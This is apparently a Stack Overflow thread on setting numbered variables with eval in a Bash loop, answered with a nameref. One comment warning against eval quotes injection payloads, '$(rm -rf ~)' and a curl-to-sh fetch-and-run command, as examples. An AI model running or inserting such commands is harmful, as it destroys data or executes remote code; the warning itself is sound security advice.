0

I want to assign and print variable values within a for loop in BASH.

My code looks like this:

tea=(A B C D E F G)
c=0
for (( i=1; i<${#tea[@]}; i++ ));
do
    eval "var$c=${tea[$i]}";
    c=$((c+1));
    echo "$var$c" >> example.txt
done

The output I get in my txt file is: 1 2 3 4 5 6. The output I expect is B C D E F G. I don't understand why am I getting this output, am I not assigning values to var$c correctly or this echo command cannot read my variable value? I would appreciate your help a lot.

sasa.asa
  • 33
  • 4
  • 2
    Why do you want to use numbered variables instead of just using an array? – wjandrea Feb 19 '23 at 23:32
  • 1
    Check out [ask] for tips like how to write a good title. The currently title is quite vague. – wjandrea Feb 19 '23 at 23:35
  • @wjandrea I don't understand your question regarding an array? – sasa.asa Feb 19 '23 at 23:35
  • @sasa Instead of `var0=B; var1=C` etc, you could have `var=(B C D E F G)`, and the indexes correspond with the numbers you would have had. – wjandrea Feb 19 '23 at 23:38
  • 1
    Bash has a whole bunch of extensions for the _explicit purpose_ of letting you do indirect assignments and references without needing `eval`. There are places where eval is needed, but they're rare and much more complicated than the kind of thing you're doing here. – Charles Duffy Feb 19 '23 at 23:47
  • 2
    I suggest to use in your loop only: `echo "${tea[$i]}" >> example.txt` – Cyrus Feb 19 '23 at 23:47
  • 2
    For a big-picture introduction, you might start with [BashFAQ #6](https://mywiki.wooledge.org/BashFAQ/006). – Charles Duffy Feb 19 '23 at 23:48
  • 1
    For an example of why `eval "var$c=${tea[$i]}"` is evil, by the way, try with `tea=( 'A$(touch /tmp/evil)' B C )`, then run your loop, observe that `/tmp/evil` exists, and consider what might have happened if your data contained `$(rm -rf ~)`, or a `$(curl http://example.com/rootme.sh | sh)`, or similar. – Charles Duffy Feb 19 '23 at 23:49
  • 1
    The use of `eval` can be made safe with `eval "var$c=\${tea[i]}"`. However, `eval` should be used only as a last resort. See [Why should eval be avoided in Bash, and what should I use instead?](https://stackoverflow.com/q/17529220/4154375). – pjh Feb 20 '23 at 01:08

1 Answers1

4

One approach using a nameref:

tea=(A B C D E F G)

c=0

for (( i=1; i<${#tea[@]}; i++ ));
do
    declare -n varC="var$c"                  # nameref
    varC="${tea[$i]}"
    c=$((c+1))
    echo "$varC" >> example.txt
done

This generates:

$ cat example.txt
B
C
D
E
F
G
markp-fuso
  • 28,790
  • 4
  • 16
  • 36